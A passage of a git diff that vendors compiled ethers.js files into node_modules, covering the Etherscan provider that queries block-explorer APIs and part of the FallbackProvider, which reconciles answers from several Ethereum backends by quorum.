[providers-etherscan] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.EtherscanProvider = exports.EtherscanPlugin = void 0; +const index_js_1 = require("../abi/index.js"); +const index_js_2 = require("../contract/index.js"); +const index_js_3 = require("../transaction/index.js"); +const index_js_4 = require("../utils/index.js"); +const abstract_provider_js_1 = require("./abstract-provider.js"); +const network_js_1 = require("./network.js"); +const plugins_network_js_1 = require("./plugins-network.js"); +const community_js_1 = require("./community.js"); +const THROTTLE = 2000; +function isPromise(value) { + return (value && typeof (value.then) === "function"); +} +const EtherscanPluginId = "org.ethers.plugins.provider.Etherscan"; +/** + * A Network can include an **EtherscanPlugin** to provide + * a custom base URL. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +class EtherscanPlugin extends plugins_network_js_1.NetworkPlugin { + /** + * The Etherscan API base URL. + */ + baseUrl; + /** + * Creates a new **EtherscanProvider** which will use + * %%baseUrl%%. + */ + constructor(baseUrl) { + super(EtherscanPluginId); + (0, index_js_4.defineProperties)(this, { baseUrl }); + } + clone() { + return new EtherscanPlugin(this.baseUrl); + } +} +exports.EtherscanPlugin = EtherscanPlugin; +const skipKeys = ["enableCcipRead"]; +let nextId = 1; +/** + * The **EtherscanBaseProvider** is the super-class of + * [[EtherscanProvider]], which should generally be used instead. + * + * Since the **EtherscanProvider** includes additional code for + * [[Contract]] access, in //rare cases// that contracts are not + * used, this class can reduce code size. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +class EtherscanProvider extends abstract_provider_js_1.AbstractProvider { + /** + * The connected network. + */ + network; + /** + * The API key or null if using the community provided bandwidth. + */ + apiKey; + #plugin; + /** + * Creates a new **EtherscanBaseProvider**. + */ + constructor(_network, _apiKey) { + const apiKey = (_apiKey != null) ? _apiKey : null; + super(); + const network = network_js_1.Network.from(_network); + this.#plugin = network.getPlugin(EtherscanPluginId); + (0, index_js_4.defineProperties)(this, { apiKey, network }); + } + /** + * Returns the base URL. + * + * If an [[EtherscanPlugin]] is configured on the + * [[EtherscanBaseProvider_network]], returns the plugin's + * baseUrl. + * + * Deprecated; for Etherscan v2 the base is no longer a simply + * host, but instead a URL including a chainId parameter. Changing + * this to return a URL prefix could break some libraries, so it + * is left intact but will be removed in the future as it is unused. + */ + getBaseUrl() { + if (this.#plugin) { + return this.#plugin.baseUrl; + } + switch (this.network.name) { + case "mainnet": + return "https:/\/api.etherscan.io"; + case "goerli": + return "https:/\/api-goerli.etherscan.io"; + case "sepolia": + return "https:/\/api-sepolia.etherscan.io"; + case "holesky": + return "https:/\/api-holesky.etherscan.io"; + case "arbitrum": + return "https:/\/api.arbiscan.io"; + case "arbitrum-goerli": + return "https:/\/api-goerli.arbiscan.io"; + case "base": + return "https:/\/api.basescan.org"; + case "base-sepolia": + return "https:/\/api-sepolia.basescan.org"; + case "bnb": + return "https:/\/api.bscscan.com"; + case "bnbt": + return "https:/\/api-testnet.bscscan.com"; + case "matic": + return "https:/\/api.polygonscan.com"; + case "matic-amoy": + return "https:/\/api-amoy.polygonscan.com"; + case "matic-mumbai": + return "https:/\/api-testnet.polygonscan.com"; + case "optimism": + return "https:/\/api-optimistic.etherscan.io"; + case "optimism-goerli": + return "https:/\/api-goerli-optimistic.etherscan.io"; + default: + } + (0, index_js_4.assertArgument)(false, "unsupported network", "network", this.network); + } + /** + * Returns the URL for the %%module%% and %%params%%. + */ + getUrl(module, params) { + let query = Object.keys(params).reduce((accum, key) => { + const value = params[key]; + if (value != null) { + accum += `&${key}=${value}`; + } + return accum; + }, ""); + if (this.apiKey) { + query += `&apikey=${this.apiKey}`; + } + return `https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}&module=${module}${query}`; + } + /** + * Returns the URL for using POST requests. + */ + getPostUrl() { + return `https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}`; + } + /** + * Returns the parameters for using POST requests. + */ + getPostData(module, params) { + params.module = module; + params.apikey = this.apiKey; + params.chainid = this.network.chainId; + return params; + } + async detectNetwork() { + return this.network; + } + /** + * Resolves to the result of calling %%module%% with %%params%%. + * + * If %%post%%, the request is made as a POST request. + */ + async fetch(module, params, post) { + const id = nextId++; + const url = (post ? this.getPostUrl() : this.getUrl(module, params)); + const payload = (post ? this.getPostData(module, params) : null); + this.emit("debug", { action: "sendRequest", id, url, payload: payload }); + const request = new index_js_4.FetchRequest(url); + request.setThrottleParams({ slotInterval: 1000 }); + request.retryFunc = (req, resp, attempt) => { + if (this.isCommunityResource()) { + (0, community_js_1.showThrottleMessage)("Etherscan"); + } + return Promise.resolve(true); + }; + request.processFunc = async (request, response) => { + const result = response.hasBody() ? JSON.parse((0, index_js_4.toUtf8String)(response.body)) : {}; + const throttle = ((typeof (result.result) === "string") ? result.result : "").toLowerCase().indexOf("rate limit") >= 0; + if (module === "proxy") { + // This JSON response indicates we are being throttled + if (result && result.status == 0 && result.message == "NOTOK" && throttle) { + this.emit("debug", { action: "receiveError", id, reason: "proxy-NOTOK", error: result }); + response.throwThrottleError(result.result, THROTTLE); + } + } + else { + if (throttle) { + this.emit("debug", { action: "receiveError", id, reason: "null result", error: result.result }); + response.throwThrottleError(result.result, THROTTLE); + } + } + return response; + }; + if (payload) { + request.setHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8"); + request.body = Object.keys(payload).map((k) => `${k}=${payload[k]}`).join("&"); + } + const response = await request.send(); + try { + response.assertOk(); + } + catch (error) { + this.emit("debug", { action: "receiveError", id, error, reason: "assertOk" }); + (0, index_js_4.assert)(false, "response error", "SERVER_ERROR", { request, response }); + } + if (!response.hasBody()) { + this.emit("debug", { action: "receiveError", id, error: "missing body", reason: "null body" }); + (0, index_js_4.assert)(false, "missing response", "SERVER_ERROR", { request, response }); + } + const result = JSON.parse((0, index_js_4.toUtf8String)(response.body)); + if (module === "proxy") { + if (result.jsonrpc != "2.0") { + this.emit("debug", { action: "receiveError", id, result, reason: "invalid JSON-RPC" }); + (0, index_js_4.assert)(false, "invalid JSON-RPC response (missing jsonrpc='2.0')", "SERVER_ERROR", { request, response, info: { result } }); + } + if (result.error) { + this.emit("debug", { action: "receiveError", id, result, reason: "JSON-RPC error" }); + (0, index_js_4.assert)(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + else { + // getLogs, getHistory have weird success responses + if (result.status == 0 && (result.message === "No records found" || result.message === "No transactions found")) { + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + if (result.status != 1 || (typeof (result.message) === "string" && !result.message.match(/^OK/))) { + this.emit("debug", { action: "receiveError", id, result }); + (0, index_js_4.assert)(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + } + /** + * Returns %%transaction%% normalized for the Etherscan API. + */ + _getTransactionPostData(transaction) { + const result = {}; + for (let key in transaction) { + if (skipKeys.indexOf(key) >= 0) { + continue; + } + if (transaction[key] == null) { + continue; + } + let value = transaction[key]; + if (key === "type" && value === 0) { + continue; + } + if (key === "blockTag" && value === "latest") { + continue; + } + // Quantity-types require no leading zero, unless 0 + if ({ type: true, gasLimit: true, gasPrice: true, maxFeePerGs: true, maxPriorityFeePerGas: true, nonce: true, value: true }[key]) { + value = (0, index_js_4.toQuantity)(value); + } + else if (key === "accessList") { + value = "[" + (0, index_js_3.accessListify)(value).map((set) => { + return `{address:"${set.address}",storageKeys:["${set.storageKeys.join('","')}"]}`; + }).join(",") + "]"; + } + else if (key === "blobVersionedHashes") { + if (value.length === 0) { + continue; + } + // @TODO: update this once the API supports blobs + (0, index_js_4.assert)(false, "Etherscan API does not support blobVersionedHashes", "UNSUPPORTED_OPERATION", { + operation: "_getTransactionPostData", + info: { transaction } + }); + } + else { + value = (0, index_js_4.hexlify)(value); + } + result[key] = value; + } + return result; + } + /** + * Throws the normalized Etherscan error. + */ + _checkError(req, error, transaction) { + // Pull any message out if, possible + let message = ""; + if ((0, index_js_4.isError)(error, "SERVER_ERROR")) { + // Check for an error emitted by a proxy call + try { + message = error.info.result.error.message; + } + catch (e) { } + if (!message) { + try { + message = error.info.message; + } + catch (e) { } + } + } + if (req.method === "estimateGas") { + if (!message.match(/revert/i) && message.match(/insufficient funds/i)) { + (0, index_js_4.assert)(false, "insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: req.transaction + }); + } + } + if (req.method === "call" || req.method === "estimateGas") { + if (message.match(/execution reverted/i)) { + let data = ""; + try { + data = error.info.result.error.data; + } + catch (error) { } + const e = index_js_1.AbiCoder.getBuiltinCallException(req.method, req.transaction, data); + e.info = { request: req, error }; + throw e; + } + } + if (message) { + if (req.method === "broadcastTransaction") { + const transaction = index_js_3.Transaction.from(req.signedTransaction); + if (message.match(/replacement/i) && message.match(/underpriced/i)) { + (0, index_js_4.assert)(false, "replacement fee too low", "REPLACEMENT_UNDERPRICED", { + transaction + }); + } + if (message.match(/insufficient funds/)) { + (0, index_js_4.assert)(false, "insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction + }); + } + if (message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)) { + (0, index_js_4.assert)(false, "nonce has already been used", "NONCE_EXPIRED", { + transaction + }); + } + } + } + // Something we could not process + throw error; + } + async _detectNetwork() { + return this.network; + } + async _perform(req) { + switch (req.method) { + case "chainId": + return this.network.chainId; + case "getBlockNumber": + return this.fetch("proxy", { action: "eth_blockNumber" }); + case "getGasPrice": + return this.fetch("proxy", { action: "eth_gasPrice" }); + case "getPriorityFee": + // This is temporary until Etherscan completes support + if (this.network.name === "mainnet") { + return "1000000000"; + } + else if (this.network.name === "optimism") { + return "1000000"; + } + else { + throw new Error("fallback onto the AbstractProvider default"); + } + /* Working with Etherscan to get this added: + try { + const test = await this.fetch("proxy", { + action: "eth_maxPriorityFeePerGas" + }); + console.log(test); + return test; + } catch (e) { + console.log("DEBUG", e); + throw e; + } + */ + /* This might be safe; but due to rounding neither myself + or Etherscan are necessarily comfortable with this. :) + try { + const result = await this.fetch("gastracker", { action: "gasoracle" }); + console.log(result); + const gasPrice = parseUnits(result.SafeGasPrice, "gwei"); + const baseFee = parseUnits(result.suggestBaseFee, "gwei"); + const priorityFee = gasPrice - baseFee; + if (priorityFee < 0) { throw new Error("negative priority fee; defer to abstract provider default"); } + return priorityFee; + } catch (error) { + console.log("DEBUG", error); + throw error; + } + */ + case "getBalance": + // Returns base-10 result + return this.fetch("account", { + action: "balance", + address: req.address, + tag: req.blockTag + }); + case "getTransactionCount": + return this.fetch("proxy", { + action: "eth_getTransactionCount", + address: req.address, + tag: req.blockTag + }); + case "getCode": + return this.fetch("proxy", { + action: "eth_getCode", + address: req.address, + tag: req.blockTag + }); + case "getStorage": + return this.fetch("proxy", { + action: "eth_getStorageAt", + address: req.address, + position: req.position, + tag: req.blockTag + }); + case "broadcastTransaction": + return this.fetch("proxy", { + action: "eth_sendRawTransaction", + hex: req.signedTransaction + }, true).catch((error) => { + return this._checkError(req, error, req.signedTransaction); + }); + case "getBlock": + if ("blockTag" in req) { + return this.fetch("proxy", { + action: "eth_getBlockByNumber", + tag: req.blockTag, + boolean: (req.includeTransactions ? "true" : "false") + }); + } + (0, index_js_4.assert)(false, "getBlock by blockHash not supported by Etherscan", "UNSUPPORTED_OPERATION", { + operation: "getBlock(blockHash)" + }); + case "getTransaction": + return this.fetch("proxy", { + action: "eth_getTransactionByHash", + txhash: req.hash + }); + case "getTransactionReceipt": + return this.fetch("proxy", { + action: "eth_getTransactionReceipt", + txhash: req.hash + }); + case "call": { + if (req.blockTag !== "latest") { + throw new Error("EtherscanProvider does not support blockTag for call"); + } + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_call"; + try { + return await this.fetch("proxy", postData, true); + } + catch (error) { + return this._checkError(req, error, req.transaction); + } + } + case "estimateGas": { + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_estimateGas"; + try { + return await this.fetch("proxy", postData, true); + } + catch (error) { + return this._checkError(req, error, req.transaction); + } + } + /* + case "getLogs": { + // Needs to complain if more than one address is passed in + const args: Record = { action: "getLogs" } + + if (params.filter.fromBlock) { + args.fromBlock = checkLogTag(params.filter.fromBlock); + } + + if (params.filter.toBlock) { + args.toBlock = checkLogTag(params.filter.toBlock); + } + + if (params.filter.address) { + args.address = params.filter.address; + } + + // @TODO: We can handle slightly more complicated logs using the logs API + if (params.filter.topics && params.filter.topics.length > 0) { + if (params.filter.topics.length > 1) { + logger.throwError("unsupported topic count", Logger.Errors.UNSUPPORTED_OPERATION, { topics: params.filter.topics }); + } + if (params.filter.topics.length === 1) { + const topic0 = params.filter.topics[0]; + if (typeof(topic0) !== "string" || topic0.length !== 66) { + logger.throwError("unsupported topic format", Logger.Errors.UNSUPPORTED_OPERATION, { topic0: topic0 }); + } + args.topic0 = topic0; + } + } + + const logs: Array = await this.fetch("logs", args); + + // Cache txHash => blockHash + let blocks: { [tag: string]: string } = {}; + + // Add any missing blockHash to the logs + for (let i = 0; i < logs.length; i++) { + const log = logs[i]; + if (log.blockHash != null) { continue; } + if (blocks[log.blockNumber] == null) { + const block = await this.getBlock(log.blockNumber); + if (block) { + blocks[log.blockNumber] = block.hash; + } + } + + log.blockHash = blocks[log.blockNumber]; + } + + return logs; + } + */ + default: + break; + } + return super._perform(req); + } + async getNetwork() { + return this.network; + } + /** + * Resolves to the current price of ether. + * + * This returns ``0`` on any network other than ``mainnet``. + */ + async getEtherPrice() { + if (this.network.name !== "mainnet") { + return 0.0; + } + return parseFloat((await this.fetch("stats", { action: "ethprice" })).ethusd); + } + /** + * Resolves to a [Contract]] for %%address%%, using the + * Etherscan API to retreive the Contract ABI. + */ + async getContract(_address) { + let address = this._getAddress(_address); + if (isPromise(address)) { + address = await address; + } + try { + const resp = await this.fetch("contract", { + action: "getabi", address + }); + const abi = JSON.parse(resp); + return new index_js_2.Contract(address, abi, this); + } + catch (error) { + return null; + } + } + isCommunityResource() { + return (this.apiKey == null); + } +} +exports.EtherscanProvider = EtherscanProvider; +//# sourceMappingURL=provider-etherscan.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-etherscan.js.map b/node_modules/ethers/lib.commonjs/providers/provider-etherscan.js.map new file mode 100644 index 000000000000..5349380d3e08 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-etherscan.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-etherscan.js","sourceRoot":"","sources":["../../src.ts/providers/provider-etherscan.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;;;AAEH,8CAA2C;AAC3C,mDAAgD;AAChD,sDAAqE;AACrE,gDAO4B;AAE5B,iEAA0D;AAC1D,6CAAuC;AACvC,6DAAqD;AACrD,iDAAqD;AAOrD,MAAM,QAAQ,GAAG,IAAI,CAAC;AAEtB,SAAS,SAAS,CAAU,KAAU;IAClC,OAAO,CAAC,KAAK,IAAI,OAAM,CAAC,KAAK,CAAC,IAAI,CAAC,KAAK,UAAU,CAAC,CAAC;AACxD,CAAC;AAyBD,MAAM,iBAAiB,GAAG,uCAAuC,CAAC;AAElE;;;;;GAKG;AACH,MAAa,eAAgB,SAAQ,kCAAa;IAC9C;;OAEG;IACM,OAAO,CAAU;IAE1B;;;OAGG;IACH,YAAY,OAAe;QACvB,KAAK,CAAC,iBAAiB,CAAC,CAAC;QACzB,IAAA,2BAAgB,EAAkB,IAAI,EAAE,EAAE,OAAO,EAAE,CAAC,CAAC;IACzD,CAAC;IAED,KAAK;QACD,OAAO,IAAI,eAAe,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAC7C,CAAC;CACJ;AAlBD,0CAkBC;AAED,MAAM,QAAQ,GAAG,CAAE,gBAAgB,CAAE,CAAC;AAEtC,IAAI,MAAM,GAAG,CAAC,CAAC;AAEf;;;;;;;;;GASG;AACH,MAAa,iBAAkB,SAAQ,uCAAgB;IAEnD;;OAEG;IACM,OAAO,CAAW;IAE3B;;OAEG;IACM,MAAM,CAAiB;IAEvB,OAAO,CAAyB;IAEzC;;OAEG;IACH,YAAY,QAAqB,EAAE,OAAgB;QAC/C,MAAM,MAAM,GAAG,CAAC,OAAO,IAAI,IAAI,CAAC,CAAC,CAAC,CAAC,OAAO,CAAA,CAA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OAAO,GAAG,CAAC;SAAE;QACpD,OAAO,UAAU,CAAC,CAAC,MAAM,IAAI,CAAC,KAAK,CAAC,OAAO,EAAE,EAAE,MAAM,EAAE,UAAU,EAAE,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC;IAClF,CAAC;IAED;;;OAGG;IACH,KAAK,CAAC,WAAW,CAAC,QAAgB;QAC9B,IAAI,OAAO,GAAG,IAAI,CAAC,WAAW,CAAC,QAAQ,CAAC,CAAC;QACzC,IAAI,SAAS,CAAC,OAAO,CAAC,EAAE;YAAE,OAAO,GAAG,MAAM,OAAO,CAAC;SAAE;QAEpD,IAAI;YACA,MAAM,IAAI,GAAG,MAAM,IAAI,CAAC,KAAK,CAAC,UAAU,EAAE;gBAC1C,MAAM,EAAE,QAAQ,EAAE,OAAO;aAAE,CAAC,CAAC;YAC7B,MAAM,GAAG,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;YAC7B,OAAO,IAAI,mBAAQ,CAAC,OAAO,EAAE,GAAG,EAAE,IAAI,CAAC,CAAC;SAC3C;QAAC,OAAO,KAAK,EAAE;YACZ,OAAO,IAAI,CAAC;SACf;IACL,CAAC;IAED,mBAAmB;QACf,OAAO,CAAC,IAAI,CAAC,MAAM,IAAI,IAAI,CAAC,CAAC;IACjC,CAAC;CACJ;AAziBD,8CAyiBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-fallback.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-fallback.d.ts new file mode 100644 index 000000000000..39d793528ac4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-fallback.d.ts @@ -0,0 +1,115 @@ +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import type { PerformActionRequest } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +/** + * A configuration entry for how to use a [[Provider]]. + */ +export interface FallbackProviderConfig { + /** + * The provider. + */ + provider: AbstractProvider; + /** + * The amount of time to wait before kicking off the next provider. + * + * Any providers that have not responded can still respond and be + * counted, but this ensures new providers start. + */ + stallTimeout?: number; + /** + * The priority. Lower priority providers are dispatched first. + */ + priority?: number; + /** + * The amount of weight a provider is given against the quorum. + */ + weight?: number; +} +/** + * The statistics and state maintained for a [[Provider]]. + */ +export interface FallbackProviderState extends Required { + /** + * The most recent blockNumber this provider has reported (-2 if none). + */ + blockNumber: number; + /** + * The number of total requests ever sent to this provider. + */ + requests: number; + /** + * The number of responses that errored. + */ + errorResponses: number; + /** + * The number of responses that occured after the result resolved. + */ + lateResponses: number; + /** + * How many times syncing was required to catch up the expected block. + */ + outOfSync: number; + /** + * The number of requests which reported unsupported operation. + */ + unsupportedEvents: number; + /** + * A rolling average (5% current duration) for response time. + */ + rollingDuration: number; + /** + * The ratio of quorum-agreed results to total. + */ + score: number; +} +/** + * Additional options to configure a [[FallbackProvider]]. + */ +export type FallbackProviderOptions = { + quorum?: number; + eventQuorum?: number; + eventWorkers?: number; + cacheTimeout?: number; + pollingInterval?: number; +}; +/** + * A **FallbackProvider** manages several [[Providers]] providing + * resilience by switching between slow or misbehaving nodes, security + * by requiring multiple backends to aggree and performance by allowing + * faster backends to respond earlier. + * + */ +export declare class FallbackProvider extends AbstractProvider { + #private; + /** + * The number of backends that must agree on a value before it is + * accpeted. + */ + readonly quorum: number; + /** + * @_ignore: + */ + readonly eventQuorum: number; + /** + * @_ignore: + */ + readonly eventWorkers: number; + /** + * Creates a new **FallbackProvider** with %%providers%% connected to + * %%network%%. + * + * If a [[Provider]] is included in %%providers%%, defaults are used + * for the configuration. + */ + constructor(providers: Array, network?: Networkish, options?: FallbackProviderOptions); + get providerConfigs(): Array; + _detectNetwork(): Promise; + /** + * Transforms a %%req%% into the correct method call on %%provider%%. + */ + _translatePerform(provider: AbstractProvider, req: PerformActionRequest): Promise; + _perform(req: PerformActionRequest): Promise; + destroy(): Promise; +} +//# sourceMappingURL=provider-fallback.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-fallback.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-fallback.d.ts.map new file mode 100644 index 000000000000..8aa88fa2f77a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-fallback.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-fallback.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-fallback.ts"],"names":[],"mappings":"AAUA,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAA;AAEtC,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AACnE,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAA;AA6B9C;;GAEG;AACH,MAAM,WAAW,sBAAsB;IAEnC;;OAEG;IACH,QAAQ,EAAE,gBAAgB,CAAC;IAE3B;;;;;OAKG;IACH,YAAY,CAAC,EAAE,MAAM,CAAC;IAEtB;;OAEG;IACH,QAAQ,CAAC,EAAE,MAAM,CAAC;IAElB;;OAEG;IACH,MAAM,CAAC,EAAE,MAAM,CAAC;CACnB;AAMD;;GAEG;AACH,MAAM,WAAW,qBAAsB,SAAQ,QAAQ,CAAC,sBAAsB,CAAC;IAE3E;;OAEG;IACH,WAAW,EAAE,MAAM,CAAC;IAEpB;;OAEG;IACH,QAAQ,EAAE,MAAM,CAAC;IAEjB;;OAEG;IACH,cAAc,EAAE,MAAM,CAAC;IAEvB;;OAEG;IACH,aAAa,EAAE,MAAM,CAAC;IAEtB;;OAEG;IACH,SAAS,EAAE,MAAM,CAAC;IAElB;;OAEG;IACH,iBAAiB,EAAE,MAAM,CAAC;IAE1B;;OAEG;IACH,eAAe,EAAE,MAAM,CAAC;IAExB;;OAEG;IACH,KAAK,EAAE,MAAM,CAAC;CACjB;AAyCD;;GAEG;AACH,MAAM,MAAM,uBAAuB,GAAG;IAGlC,MAAM,CAAC,EAAE,MAAM,CAAC;IAIhB,WAAW,CAAC,EAAE,MAAM,CAAC;IAKrB,YAAY,CAAC,EAAE,MAAM,CAAC;IAEtB,YAAY,CAAC,EAAE,MAAM,CAAC;IAEtB,eAAe,CAAC,EAAE,MAAM,CAAC;CAC5B,CAAC;AAiLF;;;;;;GAMG;AACH,qBAAa,gBAAiB,SAAQ,gBAAgB;;IAElD;;;OAGG;IACH,QAAQ,CAAC,MAAM,EAAE,MAAM,CAAC;IAExB;;OAEG;IACH,QAAQ,CAAC,WAAW,EAAE,MAAM,CAAC;IAE7B;;OAEG;IACH,QAAQ,CAAC,YAAY,EAAE,MAAM,CAAC;IAO9B;;;;;;OAMG;gBACS,SAAS,EAAE,KAAK,CAAC,gBAAgB,GAAG,sBAAsB,CAAC,EAAE,OAAO,CAAC,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE,uBAAuB;IA8BhI,IAAI,eAAe,IAAI,KAAK,CAAC,qBAAqB,CAAC,CAQlD;IAEK,cAAc,IAAI,OAAO,CAAC,OAAO,CAAC;IASxC;;OAEG;IACG,iBAAiB,CAAC,QAAQ,EAAE,gBAAgB,EAAE,GAAG,EAAE,oBAAoB,GAAG,OAAO,CAAC,GAAG,CAAC;IA6QtF,QAAQ,CAAC,CAAC,GAAG,GAAG,EAAE,GAAG,EAAE,oBAAoB,GAAG,OAAO,CAAC,CAAC,CAAC;IA8ExD,OAAO,IAAI,OAAO,CAAC,IAAI,CAAC;CAMjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-fallback.js b/node_modules/ethers/lib.commonjs/providers/provider-fallback.js new file mode 100644 index 000000000000..a6c6da8695dd --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-fallback.js @@ -0,0 +1,624 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.FallbackProvider = void 0; +/** + * A **FallbackProvider** provides resilience, security and performance + * in a way that is customizable and configurable. + * + * @_section: api/providers/fallback-provider:Fallback Provider [about-fallback-provider] + */ +const index_js_1 = require("../utils/index.js"); +const abstract_provider_js_1 = require("./abstract-provider.js"); +const network_js_1 = require("./network.js"); +const BN_1 = BigInt("1"); +const BN_2 = BigInt("2"); +function shuffle(array) { + for (let i = array.length - 1; i > 0; i--) { + const j = Math.floor(Math.random() * (i + 1)); + const tmp = array[i]; + array[i] = array[j]; + array[j] = tmp; + } +} +function stall(duration) { + return new Promise((resolve) => { setTimeout(resolve, duration); }); +} +function getTime() { return (new Date()).getTime(); } +function stringify(value) { + return JSON.stringify(value, (key, value) => { + if (typeof (value) === "bigint") { + return { type: "bigint", value: value.toString() }; + } + return value; + }); +} +; +const defaultConfig = { stallTimeout: 400, priority: 1, weight: 1 }; +const defaultState = { + blockNumber: -2, requests: 0, lateResponses: 0, errorResponses: 0, + outOfSync: -1, unsupportedEvents: 0, rollingDuration: 0, score: 0, + _network: null, _updateNumber: null, _totalTime: 0, + _lastFatalError: null, _lastFatalErrorTimestamp: 0 +}; +async function waitForSync(config, blockNumber) { + while (config.blockNumber < 0 || config.blockNumber < blockNumber) { + if (!config._updateNumber) { + config._updateNumber = (async () => { + try { + const blockNumber = await config.provider.getBlockNumber(); + if (blockNumber > config.blockNumber) { + config.blockNumber = blockNumber; + } + } + catch (error) { + config.blockNumber = -2; + config._lastFatalError = error; + config._lastFatalErrorTimestamp = getTime(); + } + config._updateNumber = null; + })(); + } + await config._updateNumber; + config.outOfSync++; + if (config._lastFatalError) { + break; + } + } +} +function _normalize(value) { + if (value == null) { + return "null"; + } + if (Array.isArray(value)) { + return "[" + (value.map(_normalize)).join(",") + "]"; + } + if (typeof (value) === "object" && typeof (value.toJSON) === "function") { + return _normalize(value.toJSON()); + } + switch (typeof (value)) { + case "boolean": + case "symbol": + return value.toString(); + case "bigint": + case "number": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{" + keys.map((k) => `${JSON.stringify(k)}:${_normalize(value[k])}`).join(",") + "}"; + } + } + console.log("Could not serialize", value); + throw new Error("Hmm..."); +} +function normalizeResult(method, value) { + if ("error" in value) { + const error = value.error; + let tag; + if ((0, index_js_1.isError)(error, "CALL_EXCEPTION")) { + tag = _normalize(Object.assign({}, error, { + shortMessage: undefined, reason: undefined, info: undefined + })); + } + else { + tag = _normalize(error); + } + return { tag, value: error }; + } + const result = value.result; + return { tag: _normalize(result), value: result }; +} +// This strategy picks the highest weight result, as long as the weight is +// equal to or greater than quorum +function checkQuorum(quorum, results) { + const tally = new Map(); + for (const { value, tag, weight } of results) { + const t = tally.get(tag) || { value, weight: 0 }; + t.weight += weight; + tally.set(tag, t); + } + let best = null; + for (const r of tally.values()) { + if (r.weight >= quorum && (!best || r.weight > best.weight)) { + best = r; + } + } + if (best) { + return best.value; + } + return undefined; +} +function getMedian(quorum, results) { + let resultWeight = 0; + const errorMap = new Map(); + let bestError = null; + const values = []; + for (const { value, tag, weight } of results) { + if (value instanceof Error) { + const e = errorMap.get(tag) || { value, weight: 0 }; + e.weight += weight; + errorMap.set(tag, e); + if (bestError == null || e.weight > bestError.weight) { + bestError = e; + } + } + else { + values.push(BigInt(value)); + resultWeight += weight; + } + } + if (resultWeight < quorum) { + // We have quorum for an error + if (bestError && bestError.weight >= quorum) { + return bestError.value; + } + // We do not have quorum for a result + return undefined; + } + // Get the sorted values + values.sort((a, b) => ((a < b) ? -1 : (b > a) ? 1 : 0)); + const mid = Math.floor(values.length / 2); + // Odd-length; take the middle value + if (values.length % 2) { + return values[mid]; + } + // Even length; take the ceiling of the mean of the center two values + return (values[mid - 1] + values[mid] + BN_1) / BN_2; +} +function getAnyResult(quorum, results) { + // If any value or error meets quorum, that is our preferred result + const result = checkQuorum(quorum, results); + if (result !== undefined) { + return result; + } + // Otherwise, do we have any result? + for (const r of results) { + if (r.value) { + return r.value; + } + } + // Nope! + return undefined; +} +function getFuzzyMode(quorum, results) { + if (quorum === 1) { + return (0, index_js_1.getNumber)(getMedian(quorum, results), "%internal"); + } + const tally = new Map(); + const add = (result, weight) => { + const t = tally.get(result) || { result, weight: 0 }; + t.weight += weight; + tally.set(result, t); + }; + for (const { weight, value } of results) { + const r = (0, index_js_1.getNumber)(value); + add(r - 1, weight); + add(r, weight); + add(r + 1, weight); + } + let bestWeight = 0; + let bestResult = undefined; + for (const { weight, result } of tally.values()) { + // Use this result, if this result meets quorum and has either: + // - a better weight + // - or equal weight, but the result is larger + if (weight >= quorum && (weight > bestWeight || (bestResult != null && weight === bestWeight && result > bestResult))) { + bestWeight = weight; + bestResult = result; + } + } + return bestResult; +} +/** + * A **FallbackProvider** manages several [[Providers]] providing + * resilience by switching between slow or misbehaving nodes, security + * by requiring multiple backends to aggree and performance by allowing + * faster backends to respond earlier. + * + */ +class FallbackProvider extends abstract_provider_js_1.AbstractProvider { + /** + * The number of backends that must agree on a value before it is + * accpeted. + */ + quorum; + /** + * @_ignore: + */ + eventQuorum; + /** + * @_ignore: + */ + eventWorkers; + #configs; + #height; + #initialSyncPromise; + /** + * Creates a new **FallbackProvider** with %%providers%% connected to + * %%network%%. + * + * If a [[Provider]] is included in %%providers%%, defaults are used + * for the configuration. + */ + constructor(providers, network, options) { + super(network, options); + this.#configs = providers.map((p) => { + if (p instanceof 